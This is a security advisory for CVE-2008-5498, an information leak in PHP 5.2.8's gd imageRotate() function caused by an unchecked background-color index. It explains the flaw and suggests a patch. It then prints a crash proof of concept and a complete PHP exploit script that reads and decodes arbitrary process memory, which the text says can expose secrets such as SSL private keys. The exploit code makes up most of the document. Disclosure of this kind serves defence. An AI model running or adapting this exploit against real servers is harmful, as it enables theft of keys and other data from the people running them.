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PHP is a popular web programming language which is normally used as a script engine in the server side. PHP 5 which is compiled with gd library, includes a function called imageRotate() for rotating an image resource by giving the rotation angle. This function fills the resulted empty areas with a given default coloring after rotation (clrBack).
Gd library works with both indexed images and truecolor images. A truecolor pixel is a DWORD which stores the color value of the pixel which would be displayed without any change. In indexed mode by using an index with a size of no more than 1 byte, the data would be fetched from a color palette which consists of parallel arrays of color bytes. The gd library uses the same data strcture for both of these image types (gdImageStruct). An implementation error in PHP's gd library can cause information leakage from the memory of the PHP (or possible the web server) process.
Information leak vulnerabilities allow access to e.g. the Apache memory which might contain the private RSA key for the SSL cert. If an attacker is able to read it he can perform real man in the middle attacks on all SSL connections. Aside from this in the days of ASLR, NX and canary protections it is often vital for the success of the exploit to know exact memory addresses. |
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Credit:
The information has been provided by Hamid Ebadi.
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Vulnerable Systems:
* PHP version 5.2.8 with gd Library and the imageRotate function
The imageRotate() function does not perform any validation check on the clrBack parameter which is used as an index for the above mentioned arrays with the size of 255 in the index image type. A correct validation check for the indexed images could be:
file: php-x.y.z/ext/gd/libgd/gd.c
3129: gdImagePtr gdImageRotate (gdImagePtr src, double dAngle,
int clrBack, int ignoretransparent)
3130:{
3131: gdImagePtr pMidImg;
3132: gdImagePtr rotatedImg;
3133:
3134: if (src == NULL) {
3135: return NULL;
3136: }
3137:+
3137:+ // Index check
3137:+ if (!src->truecolor)
3137:+ clrBack &= 0xff; // Just keep the first byte
3137:+
3138: if (!gdImageTrueColor(src) && clrBack>=gdImageColorsTotal(src)) {
3139: return NULL;
3140: }
While rotating indexed image, gd retrieves the final backcolor from 4 parallel arrays (red, green, blue and alpha) with length of 255 and uses clrBack as the index of these arrays. By providing a special clrBack value (more than 255) we can read almost any address in php memory:
file: php-x.y.z/ext/gd/libgd/gd.h
typedef struct gdImageStruct {
-- snip snip --
int red[gdMaxColors];
int green[gdMaxColors];
int blue[gdMaxColors];
-- snip snip --
int alpha[gdMaxColors];
/* Truecolor flag and pixels. New 2.0 fields appear here at the
end to minimize breakage of existing object code. */
int trueColor;
-- snip snip --
} gdImage;
typedef gdImage * gdImagePtr;
then uses gdTrueColorAlpha macro to combine the 4 mentioned values. gdTrueColorAlpha macro is implemented as following:
file: php-x.y.z/ext/gd/libgd/gd.h
#define gdTrueColorAlpha(r, g, b, a) (((a) << 24) + \
((r) << 16) + \
((g) << 8) + \
(b))
The final color value is the output of gdTrueColorAlpha macro which will be used as background color. gdTrueColorAlpha uses '+' (add) instead of '&' (and). While the '+' operator is slower, it also causes a security issue. By using a reverse function we can calculate almost any desired memory address.
Proof of concept:
This script would cause a segmentation fault because -9999999 would result in reading an invalid memory address in PHP process:
<?php
$img = imagecreate(5,5);
$tmp = imagerotate ($img,5,-9999999);
?>
Exploitation
We need to provide a good clrBack to imageRotate() and then calculate the value of desired memory address by using imagecolorat() with arguments concerned with angles of the rotated image. Upper right would be a good spot (0, 0):
<?php
&special_index = /* index of the $address */
$r=imagecreate(300,300);
$gray = imagecolorallocate( $r, 111,111,111);
imagefilledrectangle($r,0,0,300,300,$gray);
$tmp =imagerotate( $r, 30, &special_index );
imagePng( $tmp, "test.png" );
?>
To read encoded memory values from a desired address, we have to use the following script:
<?php
$address = /*address to read should be multiply of 4 */
$src = 0x84cde2c;
// depends on the image size and php script length but is constant
$index_b = -(int)(($src - $address + 0x810)/4);
$img = imagecreate(5,5);
$tmp = imagerotate ($img,5,$index_b);
$f_b = imagecolorat( $tmp,0,0);
?>
After passing $index_b as the index of arrays (red, green, blue and alpha arrays) and rotating $img (so that the values from the memory would be read), b variable takes the value of $address.
The color at [0,0] would be filled by back color, thus $f_b has the return value of gdTrueColorAlpha function. All we need to do is decoding its value. The final value of $f_b is calculated as following:
$f_b = gdTrueColorAlpha( M[$address-512],
M[$address-255],
M[$address+0],
M[$address+1034]);
These offsets [-512, -255, 0, 1034] are the displacements in gdImageStruct's arrays.
Decoding $f_b
As you can see in the source code $f_b is calculated like this:
* We have used a special $index_b in order that b would have the value of memory address at $address. All we need to do is extracting b from $f_b. It is obvious that F1 has the exact value of B1( first byte of memory at $address location). To extract B2 we must have G1 values and use this equation: B2 = F2 G1.
* To calculate B3 and B4 we will also need G2, G3, R1, R2, A1. These bytes values can also be grabbed by using imagerotate function and sending special indexes other than $index_b. For more information see the comments in exploit source code.
Exploit:
<?php
/*
edi = src
esi = clrBack ( -205923 for core_globals safe mode ( 0x IF APR SM MQS) sample: 0x01 00 SM 00 )
(
zend_bool magic_quotes_sybase; MQS
zend_bool safe_mode; SM
zend_bool allow_call_time_pass_reference; APR
zend_bool implicit_flush; IF
)
0x080ed27f <php_gd_gdImageSkewX+1135>: mov 0x10(%edi,%esi,4),%ebx
mov ebx, [edi+esi*4+10]
test case:
edi = 0x084c6128
esi = 0xffee07b1(-1177679) values less than this will crash.
->
ebx = 0x8047ff6
if (a>127) {
a = 127;
}
:( since alpha blending is on by default, the 32th bit of dumped address cant be detected.
*/
$debug = 0;
$address = hexdec($argv[1]);
$addressSave = $address;
$count = $argv[3]+1;
$mode = $argv[2];
$src = 0x84cde2c;
$s = 10; //image size
$GLOBALS["image"]=imagecreate($s,$s);
$r = $GLOBALS["image"];
if( $debug )
echo "Image created.\n";
function getDataFromImage( $index ) {
$tmp = imagerotate ($GLOBALS["image"],5,$index);
return imagecolorat( $tmp, 0,0);
}
$eor = 0;
while( $address < $addressSave+$count*4 ) {
// indexes
$index_b = (int)(($src - $address + 0x810)/4);
$index_g = $index_b + 256;
$index_r = $index_b + 512;
$index_a = $index_b - 1034;
//$index_gG is the same as index of r
$index_gR = $index_g + 512;
//$index_rG is the same as index of gR
//$index_gGg is the same as index of gR
// fuctions
$f_b = getDataFromImage( -$index_b );
$f_g = getDataFromImage( -$index_g );
$f_r = getDataFromImage( -$index_r );
$f_a = getDataFromImage( -$index_a );
$f_gR = getDataFromImage( -$index_gR );
/********************* Byte 1 **********************/
// b byte 1
$byte_b1 = $f_b & 0x000000ff;
if( $debug )
printf( "b:1-0x%x\n", $byte_b1 );
//g byte 1
$byte_g1 = $f_g & 0x000000ff;
if( $debug )
printf( "g:1-0x%x\n", $byte_g1 );
//r byte 1
$byte_r1 = $f_r& 0x000000ff;
if( $debug )
printf( "r:1-0x%x\n", $byte_r1 );
//a byte 1
$byte_a1 = $f_a & 0x000000ff;
if( $debug )
printf( "a:1-0x%x\n\n", $byte_a1 );
/* Relative */
// gG byte 1
// this is relative g to `g`( suppose that 'g' is a b). so its right at the position of r.
$byte_gG1 = $byte_r1;
// gR byte 1
// this is relative r to `g`( suppose that 'g' is a b)
$byte_gR1 = $f_gR & 0x000000ff;
// rG byte 1
// this is relative g to r( suppose that 'r' is a b)
$byte_rG1 = $byte_gR1;
/* 2 Level Relative */
// gGg byte 1
// this is relative g to `gG`( suppose that 'gG' is a b)
$byte_gGg1 = $byte_gR1;
/********************* Byte 2 **********************/
// b byte 2
$sum_b2_g1 = (($f_b & 0x0000ff00) >> 8 );
$byte_b2 = $sum_b2_g1 - $byte_g1;
$borrow_b2 = 0;
if( $byte_b2 < 0 )
$borrow_b2 = 1;
$byte_b2 = $byte_b2 & 0x000000ff;
if( $debug )
printf( "b:2-0x%x \t0x%x\n", $byte_b2, $f_b );
// g byte 2
$sum_g2_gG1 = (($f_g & 0x0000ff00) >> 8 );
$byte_g2 = $sum_g2_gG1 - $byte_gG1;
$borrow_g2 = 0;
if( $byte_g2 < 0 )
$borrow_g2 = 1;
$byte_g2 = $byte_g2 & 0x000000ff;
if( $debug )
printf( "g:2-0x%x \t0x%x\n", $byte_g2, $f_gG1 );
// r byte 2
$sum_r2_rG1 = (($f_r& 0x0000ff00) >> 8 );
$byte_r2 = $sum_r2_rG1 - $byte_rG1;
$byte_r2 = $byte_r2 & 0x000000ff;
if( $debug )
printf( "r:2-0x%x \t0x%x\n\n", $byte_r2, $sum_r2_rG1 );
/* Relative */
// gG byte 2
$byte_gG2 = $byte_r2;
/********************* Byte 3 **********************/
// b byte 3
$sum_b3_g2_r1_br2 = (($f_b & 0x00ff0000) >> 16 );
$sum_b3_g2_r1 = $sum_b3_g2_r1_br2 - $borrow_b2;
$sum_b3_g2 = $sum_b3_g2_r1 - $byte_r1;
$byte_b3 = $sum_b3_g2 - $byte_g2;
$borrow_b3 = 0;
if( $byte_b3 < 0 )
{
$borrow_b3 = (int)(-$byte_b3 / 0xff) + 1; // for borrows more than one
if( $debug )
printf( "\nborrow was: %d\n" , $borrow_b3 );
}
$byte_b3 = $byte_b3 & 0x000000ff;
if( $debug )
printf( "b:3-0x%x \t0x%x\n", $byte_b3, $sum_b3_g2 );
// g byte 3
$sum_g3_gG2_gR1_br2 = (($f_g & 0x00ff0000) >> 16 );
$sum_g3_gG2_gR1 = $sum_g3_gG2_gR1_br2 - $borrow_g2;
$sum_g3_gG2 = $sum_g3_gG2_gR1 - $byte_gR1;
$byte_g3 = $sum_g3_gG2 - $byte_gG2;
$byte_g3 = $byte_g3 & 0x000000ff;
if( $debug ) {
printf( "f_g: 0x%x\n" , $f_g);
printf( "sum_g3_gG2_gR1_br2: 0x%x\n" , $sum_g3_gG2_gR1_br2 );
printf( "sum_g3_gG2_gR1: 0x%x\n" , $sum_g3_gG2_gR1 );
printf( "sum_g3_gG2: 0x%x\n" , $sum_g3_gG2 );
printf( "g:3-0x%x \t0x%x\n\n", $byte_g3, $sum_b3_g2 );
}
/********************* Byte 4 **********************/
// b byte 4
$sum_b4_g3_r2_a1_br3 = (($f_b & 0xff000000) >> 24 );
$sum_b4_g3_r2_a1 = $sum_b4_g3_r2_a1_br3 - $borrow_b3;
$sum_b4_g3_r2 = $sum_b4_g3_r2_a1 - $byte_a1;
$sum_b4_g3 = $sum_b4_g3_r2 - $byte_r2;
$byte_b4 = $sum_b4_g3 - $byte_g3;
$byte_b4 = $byte_b4 & 0x000000ff;
if( $debug ) {
printf( "f_b: 0x%x\n" , $f_b);
printf( "sum_b4_g3_r2_a1_br3: 0x%x\n" , $sum_b4_g3_r2_a1_br3 );
printf( "sum_b4_g3_r2_a1: 0x%x\n" , $sum_b4_g3_r2_a1 );
printf( "sum_b4_g3_r2: 0x%x\n" , $sum_b4_g3_r2 );
printf( "sum_b4_g3: 0x%x\n" , $sum_b4_g3 );
printf( "b:4-0x%x\n\n", $byte_b4);
}
/********************* Byte **********************/
if($mode == 0) { //text mode
printf( "%c%c%c%c", $byte_b1, $byte_b2, $byte_b3, $byte_b4);
} elseif( $mode == 1) {
// b
if( !$eor )
printf( "0x%x:\t", $address );
printf( "0x%x(%c)\t0x%x(%c)\t0x%x(%c)\t0x%x(%c)\t", $byte_b1, $byte_b1,
$byte_b2, $byte_b2,
$byte_b3, $byte_b3,
$byte_b4, $byte_b4 );
$eor = !$eor;
if( !$eor )
echo "\n";
} else {
$val = ($byte_b4 << 24) + ($byte_b3 << 16) + ($byte_b2 << 8) + $byte_b1;
printf( "0x%x: 0x%x\n", $address, $val );
}
$address+=4;
}
?>
CVE Information:
CVE-2008-5498
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